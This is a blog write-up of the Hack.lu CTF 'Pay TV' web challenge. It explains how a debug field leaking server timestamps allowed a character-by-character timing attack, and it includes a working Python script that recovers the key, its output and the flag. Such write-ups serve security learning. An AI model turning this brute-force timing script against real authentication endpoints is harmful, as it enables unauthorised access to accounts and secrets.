Hack.lu's CTF
Bonjour les gens !
The last two days, we have seen Hack.lu's
CTF taking place online.
It was a lot of fun, their IRC channel was really fun, so was their challenges
:)
Last results? 106 over 413 applying teams. Well done HackGyver \o/
Now it's time for the write-up. More precisely, the one on Pay TV, their 200 points web challenge.
Pay TV, the challenge
The website is composed of a static image, a gif (the noise on the TV) and an input text box (a decoder?).
Really simplistic design and not so much to look around, except that noise and
that input field.
When I saw that noise gif for the first time, I was really scared about some
stegano inside.
My thought? Screw you stega, I'm not looking for you. Let's focus on the rest instead :P
Dive into the challenge
Trying some random keys, the first thing to notice is that the page doesn't
reload and instantly displays Wrong key. Some javascript or AJAX must be
there.
But first, let's check where the request is sent.
So that key is sent to /gimmetv and going on that link shows me that it
only accepts POST request method.
Let's now check about the scripts.
The only script on that page is indeed responsible for sending the key and
checking the result.
I want to see more! BURP, I choose you!
After sending that test key, the answer is a JSON array, containing the response and a boolean.
Debug, oh my debug, tell me everything!
Have you seen the line 17 of the script above? There is a comment on the
request: a debug field. Interesting :)
Let see if there are any differences with that field.
Wow, that looks really helpful :)
With the timestamp before and after the check lead me to think of a timing
attack.
Let's do some manual checks with the BURP's repeater.
Whereas it is instantly for random first letters, the A one takes 0.1 more
second(?) than the others.
It looks like I'm on the right track.
Let's do some deeper checks with the second letter, assuming that my hypotesis is right.
Ok, that's it!
The closer from the right key is ours, the longer it takes for the server to
check it.
Now that the two first letters are good, it takes 0.2 more second(?) more than
other 2-letters couples.
Lazyness
Let's script that and get THE KEY! :)
import json import urllib2 def get_charset(): """Generate the charset composed of printable characters only""" return [chr(i) for i in xrange(33, 127, 1)] def get_list_pwds(base, charset): """Generate the list of the next tested passwords""" return [base + char for char in charset] def guess_pwds(opener, url, max_length, base, charset): """Time attack the website""" found = False # Last amount of time taken for checking the password last_time = 0 while len(base) <= max_length and not found: list_pwds = get_list_pwds(base, charset) for pwd in list_pwds: f = opener.open(url, 'key=' + pwd + '&debug') answer = json.loads(f.read().strip()) found = answer['success'] elapsed = answer['end'] - answer['start'] # There is a difference about 0.1 second when the current guess is # correct if elapsed - last_time > 0.08: print 'Last successful guess:', pwd last_time = elapsed base = pwd break if found: return base return '' if __name__ == '__main__': URL = "https://ctf.fluxfingers.net:1316/gimmetv" SESSION = '481b7132ea2920244a8cf83fc8ee6c2bc427ad295db4e300388248caaadc77d4b132ebf4' # Create the build opener opener = urllib2.build_opener() opener.addheaders = [('Cookie', 'session=' + SESSION)] # Generate the charset charset = get_charset() # Original password is empty base = '' # Check for 12 characters passwords max correct_pwd = guess_pwds(opener, URL, 12, base, charset) if correct_pwd: print 'Correct password:', correct_pwd else: print 'Was not able to retrieve the password :/'
Quick and dirty, like always during CTFs, but at least it does the sh*t :)
Waiting for the output...
~/ctf/hacklu ยป python2 pay_tv.py Last successful guess: A Last successful guess: AX Last successful guess: AXM Last successful guess: AXMN Last successful guess: AXMNP Last successful guess: AXMNP9 Last successful guess: AXMNP93 Correct password: AXMNP93
Therefore the flag: OH_THAT_ARTWORK! \o/
Bonus: Robot Pirates (music) :)